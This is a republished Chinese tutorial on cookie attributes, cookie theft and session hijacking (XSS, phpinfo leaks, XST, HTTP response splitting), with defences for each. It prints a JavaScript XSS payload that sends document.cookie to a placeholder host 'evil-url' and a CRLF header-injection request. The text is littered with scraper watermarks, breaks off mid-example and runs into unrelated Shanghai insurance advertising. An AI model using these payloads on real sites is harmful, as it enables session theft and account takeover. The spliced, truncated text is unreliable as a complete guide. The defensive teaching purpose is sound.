返回首页
当前位置: 主页>Flash存储开发>

cookie窃取和session劫持 WEB前端开发

时间:2018-06-11 02:28来源:USB开发群 作者:USB开发频道 点击:

  

此篇文章的Presentation戳这里。

一、cookie的基本特性

如果不了解cookie,可以先到wikipedia上学习一下。 本文来自织梦

http request

浏览器向服务器发起的每个请求都会带上cookie:

内容来自dedecms

Host: Cookie: foo=value1;bar=value2 Accept: */* http response

服务器给浏览器的返回可以设置cookie:

本文来自织梦

HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT (content of page) 二、cookie有关的术语 session cookie

当cookie没有设置超时时间,那么cookie会在浏览器退出时销毁,这种cookie是session cookie。 dedecms.com

persistent cookie/tracking cookie

设置了超时时间的cookie,会在指定时间销毁,cookie的维持时间可以持续到浏览器退出之后,这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录,例如广告类站点会使用cookie记录浏览过哪些内容,搜索引擎会使用cookie记录历史搜索记录,这时也可以称作tracking cookie,因为它被用于追踪用户行为。

内容来自dedecms

secure cookie

服务器端设置cookie的时候,可以指定secure属性,这时cookie只有通过https协议传输的时候才会带到网络请求中,不加密的http请求不会带有secure cookie。设置secure cookie的方式举例:

织梦好,好织梦

Set-Cookie: foo=bar; Path=/; Secure HttpOnly cookie

服务器端设置cookie的时候,也可以指定一个HttpOnly属性。

dedecms.com

Set-Cookie: foo=bar; Path=/; HttpOnly

设置了这个属性的cookie在javascript中无法获取到,只会在网络传输过程中带到服务器。 织梦内容管理系统

third-party cookie

第三方cookie的使用场景通常是iframe,例如潜入了一个的广告iframe,那么设置的cookie属于不属于,被称作第三方cookie。 copyright dedecms

supercookie

cookie会从属于一个域名,例如,或者属于一个子域,例如b.a.com。但是如果cookie被声明为属于.com会发生什么?这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制,不允许设置顶级域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。现代主流浏览器都很好的处理了supercookie问题,但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题,那么就可以针对supercookie进行攻击啦。

本文来自织梦

zombie cookie/evercookie

僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash,silverlight),当cookie被删除时,从其他存储中恢复。 evercookie是实现僵尸cookie的主要技术手段。 了解僵尸cookie和evercookie。 织梦内容管理系统

三、cookie有什么用

通常cookie有三种主要的用途。

copyright dedecms

session管理

http协议本身是是无状态的,但是现代站点很多都需要维持登录态,也就是维持会话。最基本的维持会话的方式是Base Auth,但是这种方式,用户名和密码在每次请求中都会以明文的方式发送到客户端,很容易受到中间人攻击,存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式:用户登陆成功后,设置一个唯一的cookie标识本次会话,基于这个标识进行用户授权。只要请求中带有这个标识,都认为是登录态。

本文来自织梦

个性化

cookie可以被用于记录一些信息,以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子,用户可以拥有自己的Google自定制主页,其中就使用了cookie。 本文来自织梦

user tracking

cookie也可以用于追踪用户行为,例如是否访问过本站点,有过哪些操作等。

copyright dedecms

四、cookie窃取和session劫持

本文就cookie的三种用途中session管理的安全问题进行展开。 既然cookie用于维持会话,如果这个cookie被攻击者窃取会发生什么?session被劫持! 攻击者劫持会话就等于合法登录了你的账户,可以浏览大部分用户资源。

cookie窃取和session劫持 WEB前端开发 dedecms.com

copyright dedecms

最基本的cookie窃取方式:xss漏洞

攻击一旦站点中存在可利用的xss漏洞,攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。 copyright dedecms

var img = document.createElement('img'); img.src = 'http://evil-url?c=' + encodeURIComponent(document.cookie); document.getElementsByTagName('body')[0].appendChild(img);

如何寻找XSS漏洞是另外一个话题了,自行google之。 防御 根据上面HttpOnly cookie的介绍,一旦一个cookie被设置为HttpOnly,js脚本就无法再获取到,而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持,但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。 但是上面说的是无法利用xss进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。

织梦内容管理系统

xss结合phpinfo页面

攻击 大家都知道,利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括cookie信息。

cookie窃取和session劫持 WEB前端开发 织梦内容管理系统

如果开发者没有关闭这个页面,就可以利用xss漏洞向这个页面发起异步请求,获取到页面内容后parse出cookie信息,然后上传给攻击者。 phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。
织梦内容管理系统

XSS + HTTP TRACE = XST

这是一种古老的攻击方式,现在已经消失,写在这里可以扩展一下攻防思路。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求,又可以获取session信息了。之所以说是一种古老的攻击方式,因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。另外提一点,当浏览器没有禁止异步发起trace的时代,很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过,用户使用了代理服务器,而代理服务器没有关闭trace支持,这样又可以trace了。

织梦内容管理系统

HTTP Response Splitting

通常的XSS攻击都是把输入内容注入到response的content中,HTTP Response Splitting是一种针对header的注入。例如,一个站点接受参数做302跳转: copyright dedecms

?r=http://baidu.com

request信息: 本文来自织梦

GET /example.com?r=http://baidu.com\r\n HTTP/1.1\r\n Host: example.com\r\n \r\n

response:

copyright dedecms

HTTP/1.1 302 Found\r\n Location: \r\n Content-Type: text/html\r\n \r\n




秦华 『上海买保险』上海地区人寿保险资深寿险顾问 上海外籍人士买保险-高端人士医疗办理
服务项目:儿童医疗/子女教育金/养老保险/重大疾病/意外伤害/员工团险/公众责任
免费热线『上海』:13761630213, QQ:107242375, Email:victor.qin@qq.com
选择保险事业 为了爱,为了一份坚定的承诺!MSN:
上海地区请直接拨打本人电话,应约免费上门提供免费保险方案。
Baoxian.ws>>           旅行签证保险、上门办理>>        重大疾病网>>     上海重大疾病一览    
友情链接: 走在上海人寿保险的前端    和讯保险博客    上海投保在线    Shanghai Insurance    秦华的个人简历


顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
图文并茂 我的链接
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
上海高端医疗/住院医疗保险信息
上海保险规划师信息
上海子女教育理财保险信息
上海保险规划师信息
上海女性高端生育保险方案-等待期
上海保险规划师信息
上海三口之家家庭保障方案
上海保险规划师信息
上海女性特色重大疾病保险方案
上海保险规划师信息
上海女性白领理财保险方案
上海保险规划师信息
上海养老理财规划保险方案
上海保险规划师信息
通过网络取得初步咨询
  •    
上海办理-免费咨询送计划书
上海买保险
上海办理-申根签证 出国旅行保险
上海买保险
上海买保险,海外基金,买保险,友邦保险,中国人民健康保险,养老保险,儿童保险,儿童医疗,子女教育金,太平洋保险,医疗保险,工伤保险条例,中国人寿保险,保险公司,中国平安保险,医疗险,进口药,自费药,外籍人士医疗,泰康人寿,英国保诚集团,上海综合保险,国际医疗保险,上海医疗保险,上海社会保险,上海养老保险,上海市综合保险,上海平安保险,上海太平洋保险,和睦家医院,上海综合保险卡,买保险,高端医疗,重大疾病,意外伤害,定期寿险,家庭理财,友邦保险,金茂大厦,少儿互助基金,上海社保,太平洋集团,港安医院